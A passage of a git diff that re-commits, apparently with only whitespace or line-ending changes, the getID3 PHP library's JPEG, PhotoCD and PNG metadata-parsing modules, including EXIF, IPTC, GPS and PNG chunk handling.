'IPTCPictureNumber', - 20 => 'IPTCImageWidth', - 30 => 'IPTCImageHeight', - 40 => 'IPTCPixelWidth', - 50 => 'IPTCPixelHeight', - 55 => 'SupplementalType', - 60 => 'ColorRepresentation', - 64 => 'InterchangeColorSpace', - 65 => 'ColorSequence', - 66 => 'ICC_Profile', - 70 => 'ColorCalibrationMatrix', - 80 => 'LookupTable', - 84 => 'NumIndexEntries', - 85 => 'ColorPalette', - 86 => 'IPTCBitsPerSample', - 90 => 'SampleStructure', - 100 => 'ScanningDirection', - 102 => 'IPTCImageRotation', - 110 => 'DataCompressionMethod', - 120 => 'QuantizationMethod', - 125 => 'EndPoints', - 130 => 'ExcursionTolerance', - 135 => 'BitsPerComponent', - 140 => 'MaximumDensityRange', - 145 => 'GammaCompensatedValue', - ), - 7 => array( // IPTC PreObjectData Tags - 10 => 'SizeMode', - 20 => 'MaxSubfileSize', - 90 => 'ObjectSizeAnnounced', - 95 => 'MaximumObjectSize', - ), - 8 => array( // IPTC ObjectData Tags - 10 => 'SubFile', - ), - 9 => array( // IPTC PostObjectData Tags - 10 => 'ConfirmedObjectSize', - ), - ); - - } - return (isset($IPTCrecordTagName[$iptc_record][$iptc_tagkey]) ? $IPTCrecordTagName[$iptc_record][$iptc_tagkey] : $iptc_tagkey); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.graphic.jpg.php // +// module for analyzing JPEG Image files // +// dependencies: PHP compiled with --enable-exif (optional) // +// module.tag.xmp.php (optional) // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +class getid3_jpg extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'jpg'; + $info['video']['dataformat'] = 'jpg'; + $info['video']['lossless'] = false; + $info['video']['bits_per_sample'] = 24; + $info['video']['pixel_aspect_ratio'] = (float) 1; + + $this->fseek($info['avdataoffset']); + + $imageinfo = array(); + //list($width, $height, $type) = getid3_lib::GetDataImageSize($this->fread($info['filesize']), $imageinfo); + list($width, $height, $type) = getimagesize($info['filenamepath'], $imageinfo); // https://www.getid3.org/phpBB3/viewtopic.php?t=1474 + + + if (isset($imageinfo['APP13'])) { + // http://php.net/iptcparse + // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/IPTC.html + $iptc_parsed = iptcparse($imageinfo['APP13']); + if (is_array($iptc_parsed)) { + foreach ($iptc_parsed as $iptc_key_raw => $iptc_values) { + list($iptc_record, $iptc_tagkey) = explode('#', $iptc_key_raw); + $iptc_tagkey = intval(ltrim($iptc_tagkey, '0')); + foreach ($iptc_values as $key => $value) { + $IPTCrecordName = $this->IPTCrecordName($iptc_record); + $IPTCrecordTagName = $this->IPTCrecordTagName($iptc_record, $iptc_tagkey); + if (isset($info['iptc']['comments'][$IPTCrecordName][$IPTCrecordTagName])) { + $info['iptc']['comments'][$IPTCrecordName][$IPTCrecordTagName][] = $value; + } else { + $info['iptc']['comments'][$IPTCrecordName][$IPTCrecordTagName] = array($value); + } + } + } + } + } + + $returnOK = false; + switch ($type) { + case IMAGETYPE_JPEG: + $info['video']['resolution_x'] = $width; + $info['video']['resolution_y'] = $height; + + if (isset($imageinfo['APP1'])) { + if (function_exists('exif_read_data')) { + if (substr($imageinfo['APP1'], 0, 4) == 'Exif') { + //$this->warning('known issue: https://bugs.php.net/bug.php?id=62523'); + //return false; + set_error_handler(function($errno, $errstr, $errfile, $errline) { // https://github.com/JamesHeinrich/getID3/issues/275 + if (!(error_reporting() & $errno)) { + // error is not specified in the error_reporting setting, so we ignore it + return false; + } + $this->warning('Error parsing EXIF data ('.$errstr.')'); + }); + $info['jpg']['exif'] = exif_read_data($info['filenamepath'], null, true, false); + restore_error_handler(); + } else { + $this->warning('exif_read_data() cannot parse non-EXIF data in APP1 (expected "Exif", found "'.substr($imageinfo['APP1'], 0, 4).'")'); + } + } else { + $this->warning('EXIF parsing only available when '.(GETID3_OS_ISWINDOWS ? 'php_exif.dll enabled' : 'compiled with --enable-exif')); + } + } + $returnOK = true; + break; + + default: + break; + } + + + $cast_as_appropriate_keys = array('EXIF', 'IFD0', 'THUMBNAIL'); + foreach ($cast_as_appropriate_keys as $exif_key) { + if (isset($info['jpg']['exif'][$exif_key])) { + foreach ($info['jpg']['exif'][$exif_key] as $key => $value) { + $info['jpg']['exif'][$exif_key][$key] = $this->CastAsAppropriate($value); + } + } + } + + + if (isset($info['jpg']['exif']['GPS'])) { + + if (isset($info['jpg']['exif']['GPS']['GPSVersion'])) { + $version_subparts = array(); + for ($i = 0; $i < 4; $i++) { + $version_subparts[$i] = ord(substr($info['jpg']['exif']['GPS']['GPSVersion'], $i, 1)); + } + $info['jpg']['exif']['GPS']['computed']['version'] = 'v'.implode('.', $version_subparts); + } + + if (isset($info['jpg']['exif']['GPS']['GPSDateStamp'])) { + $explodedGPSDateStamp = explode(':', $info['jpg']['exif']['GPS']['GPSDateStamp']); + $computed_time[5] = (isset($explodedGPSDateStamp[0]) ? $explodedGPSDateStamp[0] : ''); + $computed_time[3] = (isset($explodedGPSDateStamp[1]) ? $explodedGPSDateStamp[1] : ''); + $computed_time[4] = (isset($explodedGPSDateStamp[2]) ? $explodedGPSDateStamp[2] : ''); + + $computed_time = array(0=>0, 1=>0, 2=>0, 3=>0, 4=>0, 5=>0); + if (isset($info['jpg']['exif']['GPS']['GPSTimeStamp']) && is_array($info['jpg']['exif']['GPS']['GPSTimeStamp'])) { + foreach ($info['jpg']['exif']['GPS']['GPSTimeStamp'] as $key => $value) { + $computed_time[$key] = getid3_lib::DecimalizeFraction($value); + } + } + $info['jpg']['exif']['GPS']['computed']['timestamp'] = gmmktime($computed_time[0], $computed_time[1], $computed_time[2], $computed_time[3], $computed_time[4], $computed_time[5]); + } + + if (isset($info['jpg']['exif']['GPS']['GPSLatitude']) && is_array($info['jpg']['exif']['GPS']['GPSLatitude'])) { + $direction_multiplier = ((isset($info['jpg']['exif']['GPS']['GPSLatitudeRef']) && ($info['jpg']['exif']['GPS']['GPSLatitudeRef'] == 'S')) ? -1 : 1); + $computed_latitude = array(); + foreach ($info['jpg']['exif']['GPS']['GPSLatitude'] as $key => $value) { + $computed_latitude[$key] = getid3_lib::DecimalizeFraction($value); + } + $info['jpg']['exif']['GPS']['computed']['latitude'] = $direction_multiplier * ($computed_latitude[0] + ($computed_latitude[1] / 60) + ($computed_latitude[2] / 3600)); + } + + if (isset($info['jpg']['exif']['GPS']['GPSLongitude']) && is_array($info['jpg']['exif']['GPS']['GPSLongitude'])) { + $direction_multiplier = ((isset($info['jpg']['exif']['GPS']['GPSLongitudeRef']) && ($info['jpg']['exif']['GPS']['GPSLongitudeRef'] == 'W')) ? -1 : 1); + $computed_longitude = array(); + foreach ($info['jpg']['exif']['GPS']['GPSLongitude'] as $key => $value) { + $computed_longitude[$key] = getid3_lib::DecimalizeFraction($value); + } + $info['jpg']['exif']['GPS']['computed']['longitude'] = $direction_multiplier * ($computed_longitude[0] + ($computed_longitude[1] / 60) + ($computed_longitude[2] / 3600)); + } + if (isset($info['jpg']['exif']['GPS']['GPSAltitudeRef'])) { + $info['jpg']['exif']['GPS']['GPSAltitudeRef'] = ord($info['jpg']['exif']['GPS']['GPSAltitudeRef']); // 0 = above sea level; 1 = below sea level + } + if (isset($info['jpg']['exif']['GPS']['GPSAltitude'])) { + $direction_multiplier = (!empty($info['jpg']['exif']['GPS']['GPSAltitudeRef']) ? -1 : 1); // 0 = above sea level; 1 = below sea level + $info['jpg']['exif']['GPS']['computed']['altitude'] = $direction_multiplier * getid3_lib::DecimalizeFraction($info['jpg']['exif']['GPS']['GPSAltitude']); + } + + } + + + getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.xmp.php', __FILE__, true); + if (isset($info['filenamepath'])) { + $image_xmp = new Image_XMP($info['filenamepath']); + $xmp_raw = $image_xmp->getAllTags(); + foreach ($xmp_raw as $key => $value) { + if (strpos($key, ':')) { + list($subsection, $tagname) = explode(':', $key); + $info['xmp'][$subsection][$tagname] = $this->CastAsAppropriate($value); + } else { + $this->warning('XMP: expecting ":", found "'.$key.'"'); + } + } + } + + if (!$returnOK) { + unset($info['fileformat']); + return false; + } + return true; + } + + /** + * @param mixed $value + * + * @return mixed + */ + public function CastAsAppropriate($value) { + if (is_array($value)) { + return $value; + } elseif (preg_match('#^[0-9]+/[0-9]+$#', $value)) { + return getid3_lib::DecimalizeFraction($value); + } elseif (preg_match('#^[0-9]+$#', $value)) { + return getid3_lib::CastAsInt($value); + } elseif (preg_match('#^[0-9\.]+$#', $value)) { + return (float) $value; + } + return $value; + } + + /** + * @param int $iptc_record + * + * @return string + */ + public function IPTCrecordName($iptc_record) { + // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/IPTC.html + static $IPTCrecordName = array(); + if (empty($IPTCrecordName)) { + $IPTCrecordName = array( + 1 => 'IPTCEnvelope', + 2 => 'IPTCApplication', + 3 => 'IPTCNewsPhoto', + 7 => 'IPTCPreObjectData', + 8 => 'IPTCObjectData', + 9 => 'IPTCPostObjectData', + ); + } + return (isset($IPTCrecordName[$iptc_record]) ? $IPTCrecordName[$iptc_record] : ''); + } + + /** + * @param int $iptc_record + * @param int $iptc_tagkey + * + * @return string + */ + public function IPTCrecordTagName($iptc_record, $iptc_tagkey) { + // http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/IPTC.html + static $IPTCrecordTagName = array(); + if (empty($IPTCrecordTagName)) { + $IPTCrecordTagName = array( + 1 => array( // IPTC EnvelopeRecord Tags + 0 => 'EnvelopeRecordVersion', + 5 => 'Destination', + 20 => 'FileFormat', + 22 => 'FileVersion', + 30 => 'ServiceIdentifier', + 40 => 'EnvelopeNumber', + 50 => 'ProductID', + 60 => 'EnvelopePriority', + 70 => 'DateSent', + 80 => 'TimeSent', + 90 => 'CodedCharacterSet', + 100 => 'UniqueObjectName', + 120 => 'ARMIdentifier', + 122 => 'ARMVersion', + ), + 2 => array( // IPTC ApplicationRecord Tags + 0 => 'ApplicationRecordVersion', + 3 => 'ObjectTypeReference', + 4 => 'ObjectAttributeReference', + 5 => 'ObjectName', + 7 => 'EditStatus', + 8 => 'EditorialUpdate', + 10 => 'Urgency', + 12 => 'SubjectReference', + 15 => 'Category', + 20 => 'SupplementalCategories', + 22 => 'FixtureIdentifier', + 25 => 'Keywords', + 26 => 'ContentLocationCode', + 27 => 'ContentLocationName', + 30 => 'ReleaseDate', + 35 => 'ReleaseTime', + 37 => 'ExpirationDate', + 38 => 'ExpirationTime', + 40 => 'SpecialInstructions', + 42 => 'ActionAdvised', + 45 => 'ReferenceService', + 47 => 'ReferenceDate', + 50 => 'ReferenceNumber', + 55 => 'DateCreated', + 60 => 'TimeCreated', + 62 => 'DigitalCreationDate', + 63 => 'DigitalCreationTime', + 65 => 'OriginatingProgram', + 70 => 'ProgramVersion', + 75 => 'ObjectCycle', + 80 => 'By-line', + 85 => 'By-lineTitle', + 90 => 'City', + 92 => 'Sub-location', + 95 => 'Province-State', + 100 => 'Country-PrimaryLocationCode', + 101 => 'Country-PrimaryLocationName', + 103 => 'OriginalTransmissionReference', + 105 => 'Headline', + 110 => 'Credit', + 115 => 'Source', + 116 => 'CopyrightNotice', + 118 => 'Contact', + 120 => 'Caption-Abstract', + 121 => 'LocalCaption', + 122 => 'Writer-Editor', + 125 => 'RasterizedCaption', + 130 => 'ImageType', + 131 => 'ImageOrientation', + 135 => 'LanguageIdentifier', + 150 => 'AudioType', + 151 => 'AudioSamplingRate', + 152 => 'AudioSamplingResolution', + 153 => 'AudioDuration', + 154 => 'AudioOutcue', + 184 => 'JobID', + 185 => 'MasterDocumentID', + 186 => 'ShortDocumentID', + 187 => 'UniqueDocumentID', + 188 => 'OwnerID', + 200 => 'ObjectPreviewFileFormat', + 201 => 'ObjectPreviewFileVersion', + 202 => 'ObjectPreviewData', + 221 => 'Prefs', + 225 => 'ClassifyState', + 228 => 'SimilarityIndex', + 230 => 'DocumentNotes', + 231 => 'DocumentHistory', + 232 => 'ExifCameraInfo', + ), + 3 => array( // IPTC NewsPhoto Tags + 0 => 'NewsPhotoVersion', + 10 => 'IPTCPictureNumber', + 20 => 'IPTCImageWidth', + 30 => 'IPTCImageHeight', + 40 => 'IPTCPixelWidth', + 50 => 'IPTCPixelHeight', + 55 => 'SupplementalType', + 60 => 'ColorRepresentation', + 64 => 'InterchangeColorSpace', + 65 => 'ColorSequence', + 66 => 'ICC_Profile', + 70 => 'ColorCalibrationMatrix', + 80 => 'LookupTable', + 84 => 'NumIndexEntries', + 85 => 'ColorPalette', + 86 => 'IPTCBitsPerSample', + 90 => 'SampleStructure', + 100 => 'ScanningDirection', + 102 => 'IPTCImageRotation', + 110 => 'DataCompressionMethod', + 120 => 'QuantizationMethod', + 125 => 'EndPoints', + 130 => 'ExcursionTolerance', + 135 => 'BitsPerComponent', + 140 => 'MaximumDensityRange', + 145 => 'GammaCompensatedValue', + ), + 7 => array( // IPTC PreObjectData Tags + 10 => 'SizeMode', + 20 => 'MaxSubfileSize', + 90 => 'ObjectSizeAnnounced', + 95 => 'MaximumObjectSize', + ), + 8 => array( // IPTC ObjectData Tags + 10 => 'SubFile', + ), + 9 => array( // IPTC PostObjectData Tags + 10 => 'ConfirmedObjectSize', + ), + ); + + } + return (isset($IPTCrecordTagName[$iptc_record][$iptc_tagkey]) ? $IPTCrecordTagName[$iptc_record][$iptc_tagkey] : $iptc_tagkey); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.graphic.pcd.php b/vendor/james-heinrich/getid3/getid3/module.graphic.pcd.php index bbeddbe4aa..6f2aaac607 100644 --- a/vendor/james-heinrich/getid3/getid3/module.graphic.pcd.php +++ b/vendor/james-heinrich/getid3/getid3/module.graphic.pcd.php @@ -1,148 +1,148 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.graphic.pcd.php // -// module for analyzing PhotoCD (PCD) Image files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} -class getid3_pcd extends getid3_handler -{ - public $ExtractData = 0; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'pcd'; - $info['video']['dataformat'] = 'pcd'; - $info['video']['lossless'] = false; - - - $this->fseek($info['avdataoffset'] + 72); - - $PCDflags = $this->fread(1); - $PCDisVertical = ((ord($PCDflags) & 0x01) ? true : false); - - - if ($PCDisVertical) { - $info['video']['resolution_x'] = 3072; - $info['video']['resolution_y'] = 2048; - } else { - $info['video']['resolution_x'] = 2048; - $info['video']['resolution_y'] = 3072; - } - - - if ($this->ExtractData > 3) { - - $this->error('Cannot extract PSD image data for detail levels above BASE (level-3) because encrypted with Kodak-proprietary compression/encryption.'); - return false; - - } elseif ($this->ExtractData > 0) { - - $PCD_levels = array(); - $PCD_levels[1] = array( 192, 128, 0x02000); // BASE/16 - $PCD_levels[2] = array( 384, 256, 0x0B800); // BASE/4 - $PCD_levels[3] = array( 768, 512, 0x30000); // BASE - //$PCD_levels[4] = array(1536, 1024, ??); // BASE*4 - encrypted with Kodak-proprietary compression/encryption - //$PCD_levels[5] = array(3072, 2048, ??); // BASE*16 - encrypted with Kodak-proprietary compression/encryption - //$PCD_levels[6] = array(6144, 4096, ??); // BASE*64 - encrypted with Kodak-proprietary compression/encryption; PhotoCD-Pro only - - list($PCD_width, $PCD_height, $PCD_dataOffset) = $PCD_levels[3]; - - $this->fseek($info['avdataoffset'] + $PCD_dataOffset); - - for ($y = 0; $y < $PCD_height; $y += 2) { - // The image-data of these subtypes start at the respective offsets of 02000h, 0b800h and 30000h. - // To decode the YcbYr to the more usual RGB-code, three lines of data have to be read, each - // consisting of ‘w’ bytes, where ‘w’ is the width of the image-subtype. The first ‘w’ bytes and - // the first half of the third ‘w’ bytes contain data for the first RGB-line, the second ‘w’ bytes - // and the second half of the third ‘w’ bytes contain data for a second RGB-line. - - $PCD_data_Y1 = $this->fread($PCD_width); - $PCD_data_Y2 = $this->fread($PCD_width); - $PCD_data_Cb = $this->fread(intval(round($PCD_width / 2))); - $PCD_data_Cr = $this->fread(intval(round($PCD_width / 2))); - - for ($x = 0; $x < $PCD_width; $x++) { - if ($PCDisVertical) { - $info['pcd']['data'][$PCD_width - $x][$y] = $this->YCbCr2RGB(ord($PCD_data_Y1[$x]), ord($PCD_data_Cb[(int) floor($x / 2)]), ord($PCD_data_Cr[(int) floor($x / 2)])); - $info['pcd']['data'][$PCD_width - $x][$y + 1] = $this->YCbCr2RGB(ord($PCD_data_Y2[$x]), ord($PCD_data_Cb[(int) floor($x / 2)]), ord($PCD_data_Cr[(int) floor($x / 2)])); - } else { - $info['pcd']['data'][$y][$x] = $this->YCbCr2RGB(ord($PCD_data_Y1[$x]), ord($PCD_data_Cb[(int) floor($x / 2)]), ord($PCD_data_Cr[(int) floor($x / 2)])); - $info['pcd']['data'][$y + 1][$x] = $this->YCbCr2RGB(ord($PCD_data_Y2[$x]), ord($PCD_data_Cb[(int) floor($x / 2)]), ord($PCD_data_Cr[(int) floor($x / 2)])); - } - } - } - - // Example for plotting extracted data - //getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true); - //if ($PCDisVertical) { - // $BMPinfo['resolution_x'] = $PCD_height; - // $BMPinfo['resolution_y'] = $PCD_width; - //} else { - // $BMPinfo['resolution_x'] = $PCD_width; - // $BMPinfo['resolution_y'] = $PCD_height; - //} - //$BMPinfo['bmp']['data'] = $info['pcd']['data']; - //getid3_bmp::PlotBMP($BMPinfo); - //exit; - - } - - return false; - } - - /** - * @param int $Y - * @param int $Cb - * @param int $Cr - * - * @return int - */ - public function YCbCr2RGB($Y, $Cb, $Cr) { - static $YCbCr_constants = array(); - if (empty($YCbCr_constants)) { - $YCbCr_constants['red']['Y'] = 0.0054980 * 256; - $YCbCr_constants['red']['Cb'] = 0.0000000 * 256; - $YCbCr_constants['red']['Cr'] = 0.0051681 * 256; - $YCbCr_constants['green']['Y'] = 0.0054980 * 256; - $YCbCr_constants['green']['Cb'] = -0.0015446 * 256; - $YCbCr_constants['green']['Cr'] = -0.0026325 * 256; - $YCbCr_constants['blue']['Y'] = 0.0054980 * 256; - $YCbCr_constants['blue']['Cb'] = 0.0079533 * 256; - $YCbCr_constants['blue']['Cr'] = 0.0000000 * 256; - } - - $RGBcolor = array('red'=>0, 'green'=>0, 'blue'=>0); - foreach ($RGBcolor as $rgbname => $dummy) { - $RGBcolor[$rgbname] = max(0, - min(255, - intval( - round( - ($YCbCr_constants[$rgbname]['Y'] * $Y) + - ($YCbCr_constants[$rgbname]['Cb'] * ($Cb - 156)) + - ($YCbCr_constants[$rgbname]['Cr'] * ($Cr - 137)) - ) - ) - ) - ); - } - return (($RGBcolor['red'] * 65536) + ($RGBcolor['green'] * 256) + $RGBcolor['blue']); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.graphic.pcd.php // +// module for analyzing PhotoCD (PCD) Image files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +class getid3_pcd extends getid3_handler +{ + public $ExtractData = 0; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'pcd'; + $info['video']['dataformat'] = 'pcd'; + $info['video']['lossless'] = false; + + + $this->fseek($info['avdataoffset'] + 72); + + $PCDflags = $this->fread(1); + $PCDisVertical = ((ord($PCDflags) & 0x01) ? true : false); + + + if ($PCDisVertical) { + $info['video']['resolution_x'] = 3072; + $info['video']['resolution_y'] = 2048; + } else { + $info['video']['resolution_x'] = 2048; + $info['video']['resolution_y'] = 3072; + } + + + if ($this->ExtractData > 3) { + + $this->error('Cannot extract PSD image data for detail levels above BASE (level-3) because encrypted with Kodak-proprietary compression/encryption.'); + return false; + + } elseif ($this->ExtractData > 0) { + + $PCD_levels = array(); + $PCD_levels[1] = array( 192, 128, 0x02000); // BASE/16 + $PCD_levels[2] = array( 384, 256, 0x0B800); // BASE/4 + $PCD_levels[3] = array( 768, 512, 0x30000); // BASE + //$PCD_levels[4] = array(1536, 1024, ??); // BASE*4 - encrypted with Kodak-proprietary compression/encryption + //$PCD_levels[5] = array(3072, 2048, ??); // BASE*16 - encrypted with Kodak-proprietary compression/encryption + //$PCD_levels[6] = array(6144, 4096, ??); // BASE*64 - encrypted with Kodak-proprietary compression/encryption; PhotoCD-Pro only + + list($PCD_width, $PCD_height, $PCD_dataOffset) = $PCD_levels[3]; + + $this->fseek($info['avdataoffset'] + $PCD_dataOffset); + + for ($y = 0; $y < $PCD_height; $y += 2) { + // The image-data of these subtypes start at the respective offsets of 02000h, 0b800h and 30000h. + // To decode the YcbYr to the more usual RGB-code, three lines of data have to be read, each + // consisting of ‘w’ bytes, where ‘w’ is the width of the image-subtype. The first ‘w’ bytes and + // the first half of the third ‘w’ bytes contain data for the first RGB-line, the second ‘w’ bytes + // and the second half of the third ‘w’ bytes contain data for a second RGB-line. + + $PCD_data_Y1 = $this->fread($PCD_width); + $PCD_data_Y2 = $this->fread($PCD_width); + $PCD_data_Cb = $this->fread(intval(round($PCD_width / 2))); + $PCD_data_Cr = $this->fread(intval(round($PCD_width / 2))); + + for ($x = 0; $x < $PCD_width; $x++) { + if ($PCDisVertical) { + $info['pcd']['data'][$PCD_width - $x][$y] = $this->YCbCr2RGB(ord($PCD_data_Y1[$x]), ord($PCD_data_Cb[(int) floor($x / 2)]), ord($PCD_data_Cr[(int) floor($x / 2)])); + $info['pcd']['data'][$PCD_width - $x][$y + 1] = $this->YCbCr2RGB(ord($PCD_data_Y2[$x]), ord($PCD_data_Cb[(int) floor($x / 2)]), ord($PCD_data_Cr[(int) floor($x / 2)])); + } else { + $info['pcd']['data'][$y][$x] = $this->YCbCr2RGB(ord($PCD_data_Y1[$x]), ord($PCD_data_Cb[(int) floor($x / 2)]), ord($PCD_data_Cr[(int) floor($x / 2)])); + $info['pcd']['data'][$y + 1][$x] = $this->YCbCr2RGB(ord($PCD_data_Y2[$x]), ord($PCD_data_Cb[(int) floor($x / 2)]), ord($PCD_data_Cr[(int) floor($x / 2)])); + } + } + } + + // Example for plotting extracted data + //getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true); + //if ($PCDisVertical) { + // $BMPinfo['resolution_x'] = $PCD_height; + // $BMPinfo['resolution_y'] = $PCD_width; + //} else { + // $BMPinfo['resolution_x'] = $PCD_width; + // $BMPinfo['resolution_y'] = $PCD_height; + //} + //$BMPinfo['bmp']['data'] = $info['pcd']['data']; + //getid3_bmp::PlotBMP($BMPinfo); + //exit; + + } + + return false; + } + + /** + * @param int $Y + * @param int $Cb + * @param int $Cr + * + * @return int + */ + public function YCbCr2RGB($Y, $Cb, $Cr) { + static $YCbCr_constants = array(); + if (empty($YCbCr_constants)) { + $YCbCr_constants['red']['Y'] = 0.0054980 * 256; + $YCbCr_constants['red']['Cb'] = 0.0000000 * 256; + $YCbCr_constants['red']['Cr'] = 0.0051681 * 256; + $YCbCr_constants['green']['Y'] = 0.0054980 * 256; + $YCbCr_constants['green']['Cb'] = -0.0015446 * 256; + $YCbCr_constants['green']['Cr'] = -0.0026325 * 256; + $YCbCr_constants['blue']['Y'] = 0.0054980 * 256; + $YCbCr_constants['blue']['Cb'] = 0.0079533 * 256; + $YCbCr_constants['blue']['Cr'] = 0.0000000 * 256; + } + + $RGBcolor = array('red'=>0, 'green'=>0, 'blue'=>0); + foreach ($RGBcolor as $rgbname => $dummy) { + $RGBcolor[$rgbname] = max(0, + min(255, + intval( + round( + ($YCbCr_constants[$rgbname]['Y'] * $Y) + + ($YCbCr_constants[$rgbname]['Cb'] * ($Cb - 156)) + + ($YCbCr_constants[$rgbname]['Cr'] * ($Cr - 137)) + ) + ) + ) + ); + } + return (($RGBcolor['red'] * 65536) + ($RGBcolor['green'] * 256) + $RGBcolor['blue']); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.graphic.png.php b/vendor/james-heinrich/getid3/getid3/module.graphic.png.php index 340c188496..e29eeb79e6 100644 --- a/vendor/james-heinrich/getid3/getid3/module.graphic.png.php +++ b/vendor/james-heinrich/getid3/getid3/module.graphic.png.php @@ -1,622 +1,622 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.graphic.png.php // -// module for analyzing PNG Image files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_png extends getid3_handler -{ - /** - * If data chunk is larger than this do not read it completely (getID3 only needs the first - * few dozen bytes for parsing). - * - * @var int - */ - public $max_data_bytes = 10000000; - - /** - * @return bool - */ - public function Analyze() { - - $info = &$this->getid3->info; - - // shortcut - $info['png'] = array(); - $thisfile_png = &$info['png']; - - $info['fileformat'] = 'png'; - $info['video']['dataformat'] = 'png'; - $info['video']['lossless'] = false; - - $this->fseek($info['avdataoffset']); - $PNGfiledata = $this->fread($this->getid3->fread_buffer_size()); - $offset = 0; - - $PNGidentifier = substr($PNGfiledata, $offset, 8); // $89 $50 $4E $47 $0D $0A $1A $0A - $offset += 8; - - if ($PNGidentifier != "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") { - $this->error('First 8 bytes of file ('.getid3_lib::PrintHexBytes($PNGidentifier).') did not match expected PNG identifier'); - unset($info['fileformat']); - return false; - } - - while ((($this->ftell() - (strlen($PNGfiledata) - $offset)) < $info['filesize'])) { - $chunk = array(); - $chunk['data_length'] = getid3_lib::BigEndian2Int(substr($PNGfiledata, $offset, 4)); - if ($chunk['data_length'] === false) { - $this->error('Failed to read data_length at offset '.$offset); - return false; - } - $offset += 4; - $truncated_data = false; - while (((strlen($PNGfiledata) - $offset) < ($chunk['data_length'] + 4)) && ($this->ftell() < $info['filesize'])) { - if (strlen($PNGfiledata) < $this->max_data_bytes) { - $str = $this->fread($this->getid3->fread_buffer_size()); - if (strlen($str) > 0) { - $PNGfiledata .= $str; - } else { - $this->warning('At offset '.$offset.' chunk "'.substr($PNGfiledata, $offset, 4).'" no more data to read, data chunk will be truncated at '.(strlen($PNGfiledata) - 8).' bytes'); - break; - } - } else { - $this->warning('At offset '.$offset.' chunk "'.substr($PNGfiledata, $offset, 4).'" exceeded max_data_bytes value of '.$this->max_data_bytes.', data chunk will be truncated at '.(strlen($PNGfiledata) - 8).' bytes'); - break; - } - } - $chunk['type_text'] = substr($PNGfiledata, $offset, 4); - $offset += 4; - $chunk['type_raw'] = getid3_lib::BigEndian2Int($chunk['type_text']); - $chunk['data'] = substr($PNGfiledata, $offset, $chunk['data_length']); - $offset += $chunk['data_length']; - $chunk['crc'] = getid3_lib::BigEndian2Int(substr($PNGfiledata, $offset, 4)); - $offset += 4; - - $chunk['flags']['ancilliary'] = (bool) ($chunk['type_raw'] & 0x20000000); - $chunk['flags']['private'] = (bool) ($chunk['type_raw'] & 0x00200000); - $chunk['flags']['reserved'] = (bool) ($chunk['type_raw'] & 0x00002000); - $chunk['flags']['safe_to_copy'] = (bool) ($chunk['type_raw'] & 0x00000020); - - // shortcut - $thisfile_png[$chunk['type_text']] = array(); - $thisfile_png_chunk_type_text = &$thisfile_png[$chunk['type_text']]; - - switch ($chunk['type_text']) { - - case 'IHDR': // Image Header - $thisfile_png_chunk_type_text['header'] = $chunk; - $thisfile_png_chunk_type_text['width'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)); - $thisfile_png_chunk_type_text['height'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)); - $thisfile_png_chunk_type_text['raw']['bit_depth'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 1)); - $thisfile_png_chunk_type_text['raw']['color_type'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 9, 1)); - $thisfile_png_chunk_type_text['raw']['compression_method'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 10, 1)); - $thisfile_png_chunk_type_text['raw']['filter_method'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 11, 1)); - $thisfile_png_chunk_type_text['raw']['interlace_method'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 12, 1)); - - $thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['raw']['compression_method']); - $thisfile_png_chunk_type_text['color_type']['palette'] = (bool) ($thisfile_png_chunk_type_text['raw']['color_type'] & 0x01); - $thisfile_png_chunk_type_text['color_type']['true_color'] = (bool) ($thisfile_png_chunk_type_text['raw']['color_type'] & 0x02); - $thisfile_png_chunk_type_text['color_type']['alpha'] = (bool) ($thisfile_png_chunk_type_text['raw']['color_type'] & 0x04); - - $info['video']['resolution_x'] = $thisfile_png_chunk_type_text['width']; - $info['video']['resolution_y'] = $thisfile_png_chunk_type_text['height']; - - $info['video']['bits_per_sample'] = $this->IHDRcalculateBitsPerSample($thisfile_png_chunk_type_text['raw']['color_type'], 